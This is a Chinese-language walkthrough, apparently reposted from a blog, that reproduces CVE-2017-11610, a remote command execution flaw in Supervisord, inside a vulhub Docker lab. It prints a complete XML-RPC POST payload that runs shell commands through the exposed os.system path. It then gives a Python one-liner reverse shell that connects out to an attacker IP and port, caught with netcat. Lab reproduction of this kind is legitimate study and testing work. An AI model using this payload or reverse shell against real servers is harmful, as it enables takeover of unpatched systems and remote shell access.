CVE-2017-11610漏洞復現


一、漏洞描述

Supervisord是一款用Python語言開發的管理后台應用(服務)的工具,方便運維人員使用圖形化界面進行管理。近期,Supervisord曝出了一個需認證的遠程命令執行漏洞(CVE-2017-11610)。通過POST請求向Supervisord管理界面提交惡意數據,可以獲取服務器操作權限,帶來嚴重的安全風險。

影響版本

Supervisord 3.1.2 <= Version <= 3.3.2

二、漏洞環境搭建

需要准備的工具如下:

1.docker+vulhub漏洞庫
2.kali虛擬機
3.靶機Ubuntu18.04虛擬機(其他也可以)
4.Burpsuite

打開Ubuntu虛擬機,有docker環境和vulhub漏洞庫的話就直接進入環境,沒有的話先安裝docker和下載vulhub漏洞庫(網上教程很多,這里就不多介紹了)

root@admin666-virtual-machine:~/vulhub/supervisor/CVE-2017-11610# 

執行命令 docker-compose up -d

root@admin666-virtual-machine:~/vulhub/supervisor/CVE-2017-11610# docker-compose up -d

等環境搭建完成后,可以訪問 http://your-ip:9001 出現如下頁面證明搭建成功!

三、漏洞利用

訪問http://your-ip:9001,然后用Burpsuite代理工具抓包,將抓到的主頁包放到Repeater里,直接將payload放入數據包中重放即可復現成功!

payload如下:
將payload中的IP換成自己的即可

POST /RPC2 HTTP/1.1
Host: 192.168.124.129:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213


<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>

可以看到返回200,進入docker容器查看是否創建成功
docker exec -it 容器ID /bin/bash


成功創建

反彈shell,將payload中的命令替換為如下命令即可反彈shell,這里使用kali虛擬機來反彈shell,用nc監聽反彈端口,命令如下:
nc -lvp 2333

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"


反彈成功

四、關閉docker環境

docker-compose down


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM